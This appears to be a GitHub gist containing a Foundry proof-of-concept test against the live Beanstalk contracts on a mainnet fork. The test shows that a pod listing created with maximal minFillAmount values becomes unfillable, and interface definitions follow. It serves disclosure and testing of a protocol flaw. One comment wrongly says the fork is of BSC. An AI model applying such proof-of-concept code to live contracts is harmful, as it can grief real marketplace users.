Skip to content

Instantly share code, notes, and snippets.

@Sentient-XII
Created April 16, 2024 19:37
Show Gist options
  • Save Sentient-XII/1ee73b14df418fe8e565a0a77b1492c1 to your computer and use it in GitHub Desktop.
Save Sentient-XII/1ee73b14df418fe8e565a0a77b1492c1 to your computer and use it in GitHub Desktop.
Unfillable Pod Listings caused by large minFillAmount
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "./interfaces.sol";
address constant DiamondProxy = 0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5;
address constant BeanToken = 0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab;
contract ContractTest is Test {
IBeanstalkERC20 public constant bean = IBeanstalkERC20(BeanToken);
IDiamond private constant beanstalk = IDiamond(DiamondProxy);
address alice = vm.addr(1);
address attacker = vm.addr(2);
function setUp() public {
vm.createSelectFork("https://rpc.ankr.com/eth", 19513418); //fork bsc at block 29386056
deal(address(bean), address(alice), 10_000e6);
assertEq(bean.balanceOf(address(alice)), 10_000e6);
deal(address(bean), address(attacker), 2);
}
function testTransfer() public {
vm.startPrank(address(alice));
bean.approve(address(beanstalk), type(uint256).max);
console.log("Total Soil Available Before :",beanstalk.totalSoil());
console.log("Pod Index Available Before :",beanstalk.podIndex());
console.log("Temperature Available Before :",beanstalk.temperature());
console.log("Haverstable Index Before :",beanstalk.harvestableIndex());
console.log("Haverstable Before :",beanstalk.totalHarvestable());
console.log("UnHaverstable Before :",beanstalk.totalUnharvestable());
console.log("Total harvested Before :",beanstalk.totalHarvested());
beanstalk.sow(5516720579, 1e6, 0);
beanstalk.createPodListing(972959010964655,5516720579,1,1e6,type(uint256).max,type(uint256).max,0);
console.log("--------------------------------------------------------------------");
console.log("Total Soil Available After :",beanstalk.totalSoil());
console.log("Pod Index Available After :",beanstalk.podIndex());
console.log("Temperature Available After :",beanstalk.temperature());
console.log("Haverstable Index After :",beanstalk.harvestableIndex());
console.log("Haverstable After :",beanstalk.totalHarvestable());
console.log("UnHaverstable After :",beanstalk.totalUnharvestable());
console.log("Total harvested After :",beanstalk.totalHarvested());
vm.stopPrank();
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.13;
interface IBeanstalkERC20 {
function DEFAULT_ADMIN_ROLE() external returns (bytes32);
function MINTER_ROLE() external returns (bytes32);
function hasRole(bytes32,address) external view returns (bool);
function getRoleMemberCount(bytes32) external view returns (uint256);
function getRoleMember(bytes32,uint256) external view returns (address);
function getRoleAdmin(bytes32) external view returns (bytes32);
function grantRole(bytes32,address) external;
function revokeRole(bytes32,address) external;
function renounceRole(bytes32,address) external;
function burn(uint256) external;
function burnFrom(address,uint256) external;
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address) external view returns (uint256);
function transfer(address,uint256) external returns (bool);
function allowance(address,address) external view returns (uint256);
function approve(address,uint256) external returns (bool);
function transferFrom(address,address,uint256) external returns (bool);
function increaseAllowance(address,uint256) external returns (bool);
function decreaseAllowance(address,uint256) external returns (bool);
function permit(address,address,uint256,uint256,uint8,bytes32,bytes32) external;
function nonces(address) external view returns (uint256);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function mint(address,uint256) external;
function decimals() external view returns (uint8);
}
interface IFakeToken {
function DEFAULT_ADMIN_ROLE() external returns (bytes32);
function MINTER_ROLE() external returns (bytes32);
function hasRole(bytes32,address) external view returns (bool);
function getRoleMemberCount(bytes32) external view returns (uint256);
function getRoleMember(bytes32,uint256) external view returns (address);
function getRoleAdmin(bytes32) external view returns (bytes32);
function grantRole(bytes32,address) external;
function revokeRole(bytes32,address) external;
function renounceRole(bytes32,address) external;
function burn(uint256) external;
function burnFrom(address,uint256) external;
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address) external view returns (uint256);
function transfer(address,uint256) external returns (bool);
function allowance(address,address) external view returns (uint256);
function approve(address,uint256) external returns (bool);
function transferFrom(address,address,uint256) external returns (bool);
function increaseAllowance(address,uint256) external returns (bool);
function decreaseAllowance(address,uint256) external returns (bool);
function permit(address,address,uint256,uint256,uint8,bytes32,bytes32) external;
function nonces(address) external view returns (uint256);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function mint(address,uint256) external;
function decimals() external view returns (uint8);
}
interface IDiamond {
function deposit(address token, uint256 amount, uint8 mode) external;
function withdrawDeposit(
address token,
int96 stem,
uint256 amount,
uint8 mode
) external;
function sow(uint256 amount, uint8 mode) external;
function plant() external;
function gm(address account, uint8 mode) external;
function sunrise() external;
function transferToken(
address token,
address recipient,
uint256 amount,
uint8 fromMode,
uint8 toMode
) external;
function claimWithdrawal(
address token,
uint32 season,
uint8 mode
) external;
function claimWithdrawals(
address token,
uint32[] calldata seasons,
uint8 mode
) external payable;
function podListing(uint256 index) external;
function sow(uint256,uint256,uint8) external payable returns (uint256);
function totalSoil() external view returns (uint256);
function podIndex() external view returns (uint256);
function createPodListing(uint256,uint256,uint256,uint24,uint256,uint256,uint8) external payable;
function temperature() external view returns (uint256);
function harvest(uint256[] calldata,uint8) external payable;
function harvestableIndex() external view returns (uint256);
function totalHarvestable() external view returns (uint256);
function totalUnharvestable() external view returns (uint256);
function totalHarvested() external view returns (uint256);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment